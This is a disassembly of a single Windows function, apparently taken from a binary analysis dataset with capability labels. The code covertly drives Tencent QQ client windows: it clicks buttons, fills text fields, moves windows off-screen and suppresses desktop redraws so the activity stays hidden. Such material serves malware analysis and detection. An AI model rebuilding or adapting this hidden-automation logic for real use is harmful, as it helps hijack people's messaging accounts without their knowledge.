Function at 0x100025f0
Capabilities:
Resolve function by parsing pe exports
Terminate process

Disassembly:
sub esp, 0x5c
xor ecx, ecx
push ebx
mov dword [esp + 8], ecx
xor eax, eax
push ebp
mov dword [esp + 0x10], ecx
xor edx, edx
push esi
mov dword [esp + 0x30], eax
push edi
xor ebx, ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x38], eax
mov ecx, 0xa
lea edi, [esp + 0x44]
mov dword [esp + 0x28], edx
mov dword [esp + 0x40], ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x30], ebx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x2c], edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov esi, eax
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edi, dword [esp + 0x2c]
mov ebp, dword [esp + 0x70]
lea ecx, [esp + 0x40]
sub edi, 0x32
push ecx
push ebp
mov dword [esp + 0x34], edi
mov dword [esp + 0x48], 0x2c
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push ebp
call dword [sym.imp.USER32.dll_IsWindowVisible]
push ebx
push 0x1388
push 1
push ebx
push ebx
push 0xb
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
push 0x80
push 0x21c
push 0x190
push 0xa
push 0xa
push ebx
push ebp
call dword [sym.imp.USER32.dll_SetWindowPos]
mov edx, dword [esp + 0x74]
push str.QQ2010
push edx
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x100026da
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push 0x2020054
push 1
push 0x201
push ebp
call edi
push 0x2020054
jmp 0x100026f4
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push 0x2160055
push 1
push 0x201
push ebp
call edi
push 0x2160055
push ebx
push 0x202
push ebp
call edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x70], ebx
push 0x14
call edi
mov ebx, dword [esp + 0x70]
push 0x1001a3d0
inc ebx
push 0x1001a1c8
mov dword [esp + 0x78], ebx
call dword [sym.imp.USER32.dll_FindWindowW]
mov ebx, eax
test ebx, ebx
jne 0x10002755
cmp dword [esp + 0x70], 0x64
jne 0x10002707
test ebx, ebx
jne 0x10002755
lea eax, [esp + 0x40]
push eax
push ebp
call dword [sym.imp.USER32.dll_SetWindowPlacement]
push esi
push ebx
call fcn.100025a0
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5c
ret
lea ecx, [esp + 0x40]
mov dword [esp + 0x40], 0x2c
push ecx
push ebp
call dword [sym.imp.USER32.dll_SetWindowPlacement]
lea edx, [esp + 0x30]
push edx
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [esp + 0x10]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [esp + 0x18]
push ecx
call fcn.10002500
add esp, 4
neg eax
push 1
push 0
push 0
push 0
push eax
push 0
push ebx
call dword [sym.imp.USER32.dll_SetWindowPos]
lea edx, [esp + 0x20]
push 1
push edx
push esi
call dword [sym.imp.USER32.dll_InvalidateRect]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0x1388
push 1
push 0
push 0
push 0xb
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
mov ebp, dword [sym.imp.USER32.dll_PostMessageA]
push 0x300071
push 1
push 0x201
push ebx
call ebp
push 0x300071
push 0
push 0x202
push ebx
call ebp
push 0x12c
call edi
mov dword [esp + 0x70], 0
push 0x14
call edi
mov ecx, dword [esp + 0x70]
push str.TXMenuWindow
inc ecx
push 0x1001a1c8
mov dword [esp + 0x78], ecx
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
mov dword [esp + 0x74], eax
jne 0x1000283c
cmp dword [esp + 0x70], 0x64
jne 0x10002800
test eax, eax
jne 0x1000283c
push eax
push eax
push 0x10
push ebx
call ebp
jmp 0x100029ac
push 0x83
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [esp + 0x74]
push 0x200051
push 1
push 0x201
push eax
call ebp
mov ecx, dword [esp + 0x74]
push 0x200051
push 0
push 0x202
push ecx
call ebp
push 0x64
call edi
mov dword [esp + 0x70], 0
push 0x14
call edi
mov ecx, dword [esp + 0x70]
push 0x1001a7e0
inc ecx
push str.32770
mov dword [esp + 0x78], ecx
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
mov dword [esp + 0x74], eax
jne 0x100028cd
cmp dword [esp + 0x70], 0x64
jne 0x10002884
test eax, eax
jne 0x100028cd
mov eax, dword [0x1001e908]
push 0
push 0
inc eax
push 0x10
push ebx
mov dword [0x1001e908], eax
call ebp
jmp 0x100029ac
lea edx, [esp + 0x10]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
push eax
call fcn.10002500
mov ecx, dword [esp + 0x78]
add esp, 4
neg eax
push 1
push 0
push 0
push 0
push eax
push 0
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
lea edx, [esp + 0x20]
push 1
push edx
push esi
call dword [sym.imp.USER32.dll_InvalidateRect]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, dword [esp + 0x74]
push 0
push str.ComboBoxEx32
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowExW]
test eax, eax
jne 0x10002943
mov ecx, dword [0x1001e908]
push eax
inc ecx
push eax
mov dword [0x1001e908], ecx
mov ecx, dword [esp + 0x7c]
push 0x10
push ecx
jmp 0x10002999
push 0
push str.ComboBox
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowExW]
test eax, eax
jne 0x1000296f
mov ecx, dword [0x1001e908]
mov edx, dword [esp + 0x74]
push eax
inc ecx
push eax
push 0x10
mov dword [0x1001e908], ecx
push edx
jmp 0x10002999
push 0
push str.Edit
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowExW]
test eax, eax
jne 0x100029d6
mov edx, dword [0x1001e908]
push eax
push eax
mov eax, dword [esp + 0x7c]
inc edx
push 0x10
mov dword [0x1001e908], edx
push eax
call ebp
push 0x64
call edi
push 0
push 0
push 0x10
push ebx
call ebp
push 0x64
call edi
push 0
push 0x1388
push 1
push 0
push 1
push 0xb
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
push esi
push ebx
call fcn.100025a0
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x5c
ret
mov ecx, dword [esp + 0x78]
push ecx
push 0
push 0xc
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x12c
call edi
mov edx, dword [esp + 0x74]
push 0x1001a9e8
push str.Button
push 0
push edx
call dword [sym.imp.USER32.dll_FindWindowExW]
test eax, eax
mov dword [esp + 0x70], eax
jne 0x10002a87
mov edx, dword [0x1001e908]
push eax
push eax
mov eax, dword [esp + 0x7c]
inc edx
push 0x10
push eax
mov dword [0x1001e908], edx
call ebp
push 0x64
call edi
push 0
push 0
push 0x10
push ebx
call ebp
push 0x64
call edi
mov edi, dword [sym.imp.USER32.dll_SendMessageTimeoutA]
push 0
push 0x1388
push 1
push 0
push 1
push 0xb
push esi
call edi
cmp dword [0x1001e908], 3
jl 0x100029cc
push 0
push 0
push 0x10
push ebx
mov dword [0x1001e908], 0
call ebp
push 0
push 0x1388
push 1
push 0
push 1
push 0xb
push esi
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0x1388
push 1
push 0
push 0
push 0xb
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
mov ecx, dword [esp + 0x70]
push 0
push 0
push 0xf5
push ecx
call ebp
mov dword [esp + 0x70], 0
push 0x14
call edi
mov ecx, dword [esp + 0x70]
push 0x1001a7e0
inc ecx
push str.32770
mov dword [esp + 0x78], ecx
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
mov dword [esp + 0x74], eax
jne 0x10002ae1
cmp dword [esp + 0x70], 0x64
jne 0x10002ab5
lea edx, [esp + 0x10]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
push eax
call fcn.10002500
mov ecx, dword [esp + 0x78]
add esp, 4
neg eax
push 1
push 0
push 0
push 0
push eax
push 0
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov edx, dword [esp + 0x74]
push 0x1001abf0
push str.Button
push 0
push edx
call dword [sym.imp.USER32.dll_FindWindowExW]
test eax, eax
mov dword [esp + 0x70], eax
jne 0x10002b64
push eax
push eax
mov eax, dword [esp + 0x7c]
push 0x10
push eax
call ebp
push esi
push ebx
call fcn.100025a0
add esp, 8
push 0x64
call edi
push 0
push 0x1388
push 1
push 0
push 1
push 0xb
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
mov eax, dword [esp + 0x70]
push 0
push 0
push 0xf5
push eax
call ebp
mov dword [esp + 0x70], 0
push 0x14
call edi
mov ecx, dword [esp + 0x70]
push 0x1001ae18
inc ecx
push str.TXGuiFoundation
mov dword [esp + 0x78], ecx
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
jne 0x10002ba0
cmp dword [esp + 0x70], 0x64
jne 0x10002b78
push 0x83
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
test ebx, ebx
je 0x10002bc3
push 0
push 0
push 0x10
push ebx
call ebp
push 0
push 0x1388
push 1
push 0
push 1
push 0xb
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x5c
ret